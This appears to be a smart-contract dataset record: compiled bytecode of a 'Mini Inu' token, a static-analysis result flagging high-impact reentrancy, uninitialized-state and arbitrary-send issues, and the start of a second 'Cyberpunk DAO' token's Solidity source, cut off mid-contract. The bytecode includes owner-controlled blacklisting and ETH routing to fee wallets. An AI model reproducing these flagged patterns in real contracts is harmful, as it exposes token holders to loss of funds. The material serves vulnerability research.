f1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600881526020017f4d696e6920496e75000000000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d494e494e55efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206d7af10297d3f8c2cbbb131a0885040b23d910ffb3a8739053e522736359d8fb64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,298 |
0x13a21ce4ebb5b608771c3c18d5325c4e721eb333
|
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
/**
█▀█ █▀▀█ ▀▀▀█ ▀▀▀█
░▄▀ █▄▀█ ░░█░ ░░█░
█▄▄ █▄▄█ ░▐▌░ ░▐▌░
Struggling in the night city, longing for freedom in humanity.
Death in cruelty, hunger for satisfaction in oppression.
DAO, cyberpunk 2077, will be the real Twelve knights, seeking equality and freedom, submitting bills, fair campaigning, community sharing.
Total: 20.77 ETH(from donations from 98 community members) = 42,000,000
Slippage: 5%(98 members of the award because they can not buy)
Max buy: 210,000 = 0.5%
Max wallet: 420,000 = 1%
▒█▀▀█ ▒█░░▒█ ▒█▀▀█ ▒█▀▀▀ ▒█▀▀█ ▒█▀▀█ ▒█░▒█ ▒█▄░▒█ ▒█░▄▀ ▒█▀▀▄ ░█▀▀█ ▒█▀▀▀█
▒█░░░ ▒█▄▄▄█ ▒█▀▀▄ ▒█▀▀▀ ▒█▄▄▀ ▒█▄▄█ ▒█░▒█ ▒█▒█▒█ ▒█▀▄░ ▒█░▒█ ▒█▄▄█ ▒█░░▒█
▒█▄▄█ ░░▒█░░ ▒█▄▄█ ▒█▄▄▄ ▒█░▒█ ▒█░░░ ░▀▄▄▀ ▒█░░▀█ ▒█░▒█ ▒█▄▄▀ ▒█░▒█ ▒█▄▄▄█
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CYBERPUNK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cyberpunk DAO";
string private constant _symbol = "2077";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
